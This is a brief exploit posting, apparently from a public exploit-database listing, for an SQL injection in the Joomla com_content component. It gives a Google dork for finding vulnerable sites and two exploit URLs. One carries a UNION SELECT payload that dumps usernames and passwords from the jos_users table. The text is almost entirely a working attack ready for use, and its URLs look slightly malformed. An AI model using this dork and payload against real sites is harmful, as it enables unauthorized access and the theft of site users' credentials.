Joomla Component SQL Injection Vulnerability

[Google Dork]:

inurl:com_content

Exploit :

http://localhost/index.php?option=index.php?option=com_content&task=blogcategory&id=60&Itemid={SQL}

http://localhost/index.php?option=com_content&task=blogcategory&id=60 Itemid=99999+union+select+1,concat_ws(0x3a,username,password),3,4,5+from+jos_users/*